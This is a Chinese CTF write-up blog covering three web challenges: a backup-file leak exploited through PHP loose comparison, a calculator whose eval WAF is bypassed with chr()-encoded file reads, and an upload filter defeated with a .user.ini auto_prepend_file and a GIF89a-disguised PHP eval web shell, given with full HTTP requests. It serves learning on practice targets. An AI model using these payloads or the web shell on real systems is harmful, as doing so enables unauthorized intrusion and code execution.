[ACTF2020 新生赛]BackupFile
原始信息
这次官方很抠门,就给了一句话:
Try to find out source file!
|
使用dirmap快扫扫不出来,改为dirsearche扫描,扫描速度极度缓慢,使用了整整几乎一小时。(后面多了眼看了下字典,发现可能是网站问题,再扫下没三分钟就出来了……)
至于为什么这么久,我还特地翻了下字典,发现这货居然在5500行那里……
保守估计,完整扫完1W多条数据要三个小时左右。
还要个隐藏信息,BackupFile是文件备份的意思。
解题
扫站
常见网站备份文件的文件后缀
.rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb
|
更多相关后缀点我
网站目录文件扫描器:dirsearch
"""简单的扫描命令如下""" python dirsearch.py -u "http://ab7744e5-9ead-40d2-99bb-90a0c2f7ac98.node4.buuoj.cn:81"
|
解源码(白盒审计)
翻了老半天,翻了个index.php.bak出来。之前还见到了www.zip的题来着。
因为源代码简短,也没什么必要分两块提取核心代码,这里简单分析下就OK了:
<?php
include_once "flag.php";
if(isset($_GET['key'])) { $key = $_GET['key']; if(!is_numeric($key)) { exit("Just num!"); } $key = intval($key); $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"; if($key == $str) { echo $flag; } } else { echo "Try to find out source file!"; }
|
翻译成人话就是:我需要一个名为key的字符串,它必须是123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3
?key=123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 Just num!
?key=abc Just num!
?key=123 flag{16f39bb7-b943-4c35-bd50-7fa1f436c975}
|
php类型比较点我前往查看,包括强类型比较。
收获
1. php弱类型比较当中的数值转换 2. 网站备份文件,除了www.zip,www.rar还有index.php.bak
相关的备份后缀还有: .rar、.zip、.7z、.tar、.gz、.tar.gz、.bz2、.tar.bz2、.sql、.bak、.dat、.txt、.log、.mdb
|
[RoarCTF 2019]Easy Calc
翻译:简单的计算器
原始信息
源代码信息:
<div class="container text-center" style="margin-top:30px;"> <h2>表达式</h2> <form id="calc"> <div class="form-group"> <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes"> </div> <div id="result"><div class="alert alert-success"> </div></div> <button type="submit" class="btn btn-primary">计算</button> </form> </div>
<script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; }) </script>
|
解题
很明显的前端验证,使用的是ajax,那就得针对js进行白盒审计了。
前端白盒审计
$('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; })
|
没接触过 jQuery 代码,这次分析细致点:
1.代码片段1 $('#calc').submit(function(){} $() : jQuery 语法选择器,根据ID或者class选出特定的html元素 '#calc'是某个HTML元素的ID的意思 $submit() : 绑定事件处理函数,使这个html标签具备提交表单的功能 function(){}: 提交表单后必然执行的匿名函数 $.ajax({}):发送异步的http请求 url: "calc.php?num=" + encodeURIComponent($("#content").val()): 指定了请求的 URL,包括了一个名为 num 的参数, 该参数的值是通过 $("#content").val() 获取的表单 id 为 content 的输入框的值, 并使用 encodeURIComponent() 进行 URL 编码。 ------------------------- 说人话,就是URL后面加上这么一长串的东西进行访问 且能获得 '#calc' 下的 '#content' 的标签的html内容 type:'GET' :指定请求为get类型。
success: function(data) { ... }: 定义了一个匿名函数作为请求成功时的回调函数。 在这个函数中,data 参数表示服务器返回的数据。 这段代码使用了模板字符串构建了一个 HTML 结构, 并将从服务器返回的数据插入到 $("#result") 元素中。 $("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`) 函数请求成功时,获取返回数据data并且装填入 "#result"当中 并且装填的内容时 .html(...) 指定的。
error:function(){alert("这啥?算不来!");} 当服务器返回错误信息时,直接弹窗 return false; 这个语句的作用是阻止表单的默认提交动作,即阻止表单刷新页面。
|
总结下,就是:我使用ajax发送信息给calc.php接受并且处理,前端只是处理服务器信息和提交信息,根本就没有其它能够直接获得flag的信息了。
假如我需要获得更多信息,首先得抓包。
观察了下数据包,关键信息如下:
数据包: GET /calc.php?num=123123%2B1 HTTP/1.1 Host: node4.buuoj.cn:28963 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: *
|
既然是传参并且把参数url编码,那么直接在BP进行SQL注入测试。
第二波白盒分析
抓包的时候出现calc.php文件,尝试访问的时候,出现的下面的源码。
所以说,前端的那个JS直接舍弃,看这个代码为主。
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
|
绕waf:在变量前加上空格。
/calc.php? num=var_dump(scandir(chr(47)))
/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
|
总结
攻防世界 easyupload
先吐槽下,八成是靶机生效时间太慢的原因,差点把我心塞死了。
原始信息
题目提供的信息,除了文件上传和一个表单外,基本上没有其它。
<form action="index.php" method="post" enctype="multipart/form-data"> <label for="file" style="color: blue;">更换头像</label> <input type="file" name="fileUpload" id="file" style="color: blue;"><br> <input type="submit" name="upload" value="提交"> </form>
文件上传传入的是index.php
|
解题
使用BP拦截,测试了部分内容,过滤掉了:
字符串: php 文件名和文件内容 字符: ph 导致无法使用phtml 还有必须以GIF89a为数据包的开头,才能包含后门文件内容
|
总结上面的三点,最难搞的是ph这个过滤。
这种情况下,一般的直接上传php文件基本作废,那就只能把后门藏在其它文件内,包含到其它已存在或者可执行的php文件当中了。
在php配置当中,存在着两个文件包含漏洞相关的配置。当某些特殊情况下存在.user.ini文件时,.user.ini里面存在的函数会导致php文件出现包含执行。
功能类似于 include() ,有两个函数 但是都是在 .user.ini中配置的 属于是php外部控制php文件内容了 auto_prepend_file=hack.jpg auto_append_file=hack.jpg
|
BP截取到文件上传的数据包后,插入的关键代码是:
.user.ini配置文件
关键的配置信息:
文件名: .user.ini
配置信息: GIF89a auto_prepend_file=a.jpg
|
下面是数据包:
POST /index.php HTTP/1.1 Host: 61.147.171.105:58986 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://61.147.171.105:58986/ DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------25839222533441 Content-Length: 346
-----------------------------25839222533441 Content-Disposition: form-data; name="fileUpload"; filename=".user.ini" Content-Type: image/jpeg
GIF89a auto_prepend_file=a.jpg -----------------------------25839222533441 Content-Disposition: form-data; name="upload"
提交 -----------------------------25839222533441--
|
传入带后门的文件
关键参数配置
文件名:a.jpg 文件内容:
GIF89a <?=eval($_POST['cmd'])?>
|
数据包内容如下
POST /index.php HTTP/1.1 Host: 61.147.171.105:58986 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://61.147.171.105:58986/ DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------25839222533441 Content-Length: 329
-----------------------------25839222533441 Content-Disposition: form-data; name="fileUpload"; filename="a.jpg" Content-Type: image/jpeg
GIF89a <?=eval($_POST['cmd']);?> -----------------------------25839222533441 Content-Disposition: form-data; name="upload"
提交 -----------------------------25839222533441--
|
等待生效并且拿下后台
上传成功时,你能顺着路径访问到.user.ini和a.jpg,最后使用菜刀或者蚁剑连接时,是需要等uploads下的index.php文件生成才有效的。
当文件/uploads/index.php文件生效时,翻到根目录,拿下flag:
cyberpeace{4daa0158de4bbc7761962925ceffe935}
|
后记
注意,这个后门随时会消失,届时要重新上传后门。
拿下源代码,如下:
<?php error_reporting(0); function checkFileType($fileName){ $file = fopen($fileName, "rb"); $bin = fread($file, 2); fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = '';
switch( $typeCode ) { case '255216': return 'jpg'; break; case '7173': return 'gif'; break; case '13780': return 'png'; break; case '6677': return 'bmp'; break; case '7790': return 'exe'; break; case '7784': return 'midi'; break; case '8297': return 'rar'; break; default: return 'Unknown'; break; } return "Unknown"; }
$upload_dir = "uploads"; if (isset($_POST["upload"])) { $tmp_name = $_FILES["fileUpload"]["tmp_name"]; $name = $_FILES["fileUpload"]["name"]; if (!($tmp_name && $name)) { die("File error"); } $extension = pathinfo($name)['extension']; $content = file_get_contents($tmp_name); if (preg_match("/ph|htacess/i", $extension) || mb_strpos($content,'php') !== FALSE) { die("Your file looks wicked"); } if (checkFileType($tmp_name) === 'Unknown' || strpos($_FILES["fileUpload"]["type"], 'application') === 0) { die("your filetype looks wicked"); } $upload_file_path = $upload_dir . "/" . $name; move_uploaded_file($tmp_name, $upload_file_path); echo "file upload successful, the path is: " . $upload_file_path .'<br>'; }
|
收获
原本算不算收获,但这是自己在实战当中第一次遇到,算是收获的一种把。
.user.ini文件配置 沟通是功能是:给当前工作目录下的每个php文件 的头部/尾部插入a.jpg的所有内容 auto_prepend_file=a.jpg auto_append_file=a.jpg
文件头欺骗: GIF89a
教训:思路不变通,到哪都死死胡同。
|